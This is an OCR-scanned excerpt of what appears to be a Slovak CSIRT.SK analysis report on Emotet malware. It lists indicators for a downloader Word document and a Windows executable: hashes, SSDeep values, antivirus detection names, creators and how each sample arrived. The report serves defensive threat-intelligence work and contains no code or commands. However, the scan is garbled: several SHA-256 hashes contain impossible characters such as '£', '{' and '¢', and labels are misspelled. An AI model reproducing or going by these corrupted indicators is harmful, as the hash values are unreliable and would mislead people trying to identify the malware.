39/58 VirusTotal, timestamp 2020-09-19 21:37:08 UTC

ESET-NOD32 VBA/TrojanDownloader.Agent.UFY
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
Microsoft TrojanDownloader:097M/Emotet.CSKIMTB
Symantec Trojan.Gen.2

File Type DOC
FileTypeExtension doc

MIME Type application/msword
File Size 172 kB

Creator Quentin Dumas
Modify Date 2020:09:17 10:17:00
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Mjlzifmu.exe

C) CSIRT.SK

Nazov suboru

Mijlzifmu.exe

Velkost siboru

437 248 B

5lv7Ha+ThmZo5uG

Typ siboru PE32 executable for MS Windows (GUI) Intel 80386 32-bit

MD5 76a4e06090edddb33f3a4e6d235d0d98

SHA-1 9944a1134e43c7ec9c82005f73bd5ed31ba6f83f

SHA-256 ddf06e4e7£5782f4968717{85329a42baledfe2f1dc3ac2032f143db82b0345f
SSDeep 6144:vXBro9LW/6DUvum8171YQvq6H/iaRT80ITZO/rVurq:vXdNDDUvums8l

Povod vzorky

Stubor stiahnuty Powershell skriptom

SpOsob analyzy

Staticka, behavioralna

Postihnuté systémy

OS Windows

Detekcia antivirmi

52/71 VirusTotal, timestamp 2020-09-25 12:05:31 UTC

ESET-NOD32 Win32/Emotet.CB

Kaspersky HEUR:Trojan-Banker.Win32.Emotet.pef

Microsoft Trojan:Win32/Emotet. ARJIMTB

Symantec Trojan.Emotet

File Type Win32 EXE
FileTypeExtension exe

MIME Type application/octet-stream
PE Type PE32

Object File Type Executable application
File Size 427.00 KB

Packer Microsoft Visual Cpp 8

TLR: Wihite
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5. FILE_17_09_2020.doc

Nazov suboru FILE_17_09_2020.doc

Velkost suboru 163 3408B

Typ suboru Microsoft Word 97-2003 Document

MD5 a675fcda7326c1c768abe4f410c80144

SHA-1 3cc3e375fddf81ff2cb6b7fbd75aa028561878a8

SHA-256 52a2af7330c0229f576¢751e8cc032dd737c9eb0f71f956f71a0d748b168abbc

SSDeep 1536:+iaqasrdillr77zOH98Wj2gpngx+a9hxRiqLE8ct2PU7eXKSSxH5ppJx
WFWh:+0rfrzOH98ipghk)xXWFWh

P6vod vzorky Priloha podozrivej emailovej spravy

Spbsob analyzy Staticka, behavioralna

Postihnuté systémy |OS Windows

Detekcia antivirmi 39/59 VirusTotal, timestamp 2020-09-18 12:08:31 UTC

ESET-NOD32 VBA/TrojanDownloader.Agent.UJH

Kaspersky HEUR:Trojan.MSOffice.SAgent.gen

Microsoft TrojanDownloader:097M/Emotet.CSKIMTB
Symantec W97M.Downloader

File Type DOC
FileTypeExtension doc

MIME Type application/msword
File Size 160 kB

Creator Théo David

Modify Date 2020:09:17 04:18:00
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